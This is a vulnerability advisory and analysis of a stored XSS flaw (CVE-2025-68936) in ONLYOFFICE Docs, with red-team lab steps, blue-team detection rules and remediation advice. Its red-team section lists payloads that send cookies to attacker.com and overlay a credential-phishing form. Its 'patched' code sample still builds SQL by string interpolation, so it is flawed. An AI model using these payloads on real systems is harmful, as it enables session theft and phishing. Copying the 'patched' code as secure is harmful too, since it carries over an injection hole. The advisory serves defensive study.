CVE-2025-68936

Executive Summary

CVE-2025-68936 is a stored Cross-Site Scripting (XSS) vulnerability in ONLYOFFICE Docs, specifically within the DocumentServer component. The flaw exists in the handling of the "Color theme name" field, which is not properly sanitized before being rendered in the user interface. An attacker can inject arbitrary JavaScript code into this field, which will then execute in the context of any user who views the affected document or settings. This can lead to session hijacking, data theft, or further compromise of the ONLYOFFICE instance. The vulnerability affects versions prior to 9.2.1. No public proof-of-concept or exploit code is currently available, but the risk is elevated due to the widespread use of ONLYOFFICE in enterprise document collaboration environments.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network - The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low - No special conditions are required.
• Privileges Required (PR): None - The attacker does not need authentication.
• User Interaction (UI): Required - The victim must view the maliciously crafted color theme.
• Scope (S): Changed - The impact extends beyond the vulnerable component.
• Confidentiality (C): Low - Limited data exposure is possible.
• Integrity (I): Low - Limited data modification is possible.
• Availability (A): None - No impact on system availability.

Threat Level: Medium. While the CVSS score is moderate, the potential for phishing, session theft, and lateral movement within an organization's document management system makes this a significant concern.

Deep Dive & Mechanics

The vulnerability resides in the DocumentServer component of ONLYOFFICE Docs. The application allows users to define custom color themes, which include a user-supplied name. This name is stored in the database and later rendered in the web interface (e.g., in theme selection menus, document properties, or admin panels) without proper output encoding or sanitization.

Attack Flow:

1. An attacker with the ability to create or modify color themes (which may be any authenticated user or even an unauthenticated user depending on the configuration) submits a theme name containing malicious JavaScript, e.g., <script>alert(document.cookie)</script>.
2. The server stores this payload in the database.
3. When an administrator or another user views the list of color themes or opens a document that references the malicious theme, the payload is rendered in the browser.
4. The victim's browser executes the injected script, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

The root cause is a lack of input validation and output encoding in the theme name field. The application does not escape HTML entities or strip script tags before storing or displaying the value.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual - PHP/JavaScript):

// In theme creation handler
$themeName = $_POST['theme_name'];
$db->query("INSERT INTO themes (name) VALUES ('$themeName')");

// In theme display
echo "<div class='theme-item'>" . $themeName . "</div>";

Patched Code (Conceptual):

// In theme creation handler
$themeName = htmlspecialchars($_POST['theme_name'], ENT_QUOTES, 'UTF-8');
$db->query("INSERT INTO themes (name) VALUES ('$themeName')");

// In theme display
echo "<div class='theme-item'>" . $themeName . "</div>";

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script execution. The actual fix in ONLYOFFICE Docs 9.2.1 involves similar sanitization and output encoding across all user-facing fields.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable ONLYOFFICE Docs instance (version < 9.2.1) using Docker:

   docker run -d -p 80:80 --name onlyoffice onlyoffice/documentserver:9.0.0
   

2. Access the web interface and log in as a regular user.
3. Navigate to the theme settings (e.g., Settings -> Color Themes).
4. Create a new theme with the following name payload:

   <img src=x onerror=alert(document.cookie)>
   

5. Save the theme.
6. As an administrator, navigate to the theme list. The payload will execute, displaying the admin's cookies.

Exploitation Payloads:

• Steal cookies: <script>fetch('https://attacker.com/steal?c='+document.cookie)</script>
• Phishing overlay: <script>document.body.innerHTML='<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:white;z-index:9999;"><h1>Session Expired</h1><form action="https://attacker.com/login" method="POST"><input type="text" name="user"><input type="password" name="pass"><input type="submit"></form></div>'</script>

Blue Team

Detection:

• Monitor for unusual theme names containing HTML tags or JavaScript keywords (e.g., <script>, onerror, onload).
• Review web server logs for requests to /themes/create or similar endpoints with suspicious payloads.
• Use a Web Application Firewall (WAF) to block common XSS patterns.

Hunting:

• Query the database for themes with names containing < or > characters.
• Search for outbound connections from the ONLYOFFICE server to unknown external IPs (potential data exfiltration).

Indicators of Compromise (IOCs)

• Network:
  • Outbound HTTP requests to attacker-controlled domains containing cookie data (e.g., GET /steal?c=...).
  • Unusual POST requests to /themes/create or /api/2.0/themes with HTML/JavaScript in the name parameter.
• Host:
  • Database entries in the themes table with names containing <script>, <img, or other HTML tags.
  • Web server logs showing 200 responses to theme creation requests with suspicious payloads.
• File:
  • No specific file-based IOCs; the attack is stored in the database.

Detection Engineering

YARA Rule

rule CVE_2025_68936_XSS_ThemeName {
    meta:
        description = "Detects XSS payloads in ONLYOFFICE theme names"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-68936"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /<img[^>]*onerror[^>]*>/is
        $xss3 = /<svg[^>]*onload[^>]*>/is
        $xss4 = /javascript:/is
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-68936 XSS via Color Theme Name
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit XSS in ONLYOFFICE Docs via the Color theme name field.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/themes/create'
        cs-uri-query|contains|any:
            - '<script'
            - '<img'
            - 'onerror'
            - 'onload'
    condition: selection
falsepositives:
    - Legitimate use of HTML in theme names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-68936 XSS Attempt - Theme Name"; flow:to_server,established; content:"POST"; http_method; content:"/themes/create"; http_uri; pcre:"/(<script|<img|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: Update ONLYOFFICE Docs to version 9.2.1 or later. This is the only complete fix.
2. WAF Rules: Deploy a Web Application Firewall rule to block requests containing <script>, <img, onerror, or onload in the theme name parameter.
3. Input Validation: If immediate patching is not possible, implement server-side validation to reject theme names containing HTML tags.

Long-Term Measures:

• Enforce strict Content Security Policy (CSP) headers to limit script execution.
• Conduct regular security audits of custom fields in the application.
• Implement output encoding for all user-supplied data rendered in the browser.

Workaround:

• Disable the ability for non-admin users to create custom color themes via configuration changes.

Valters IT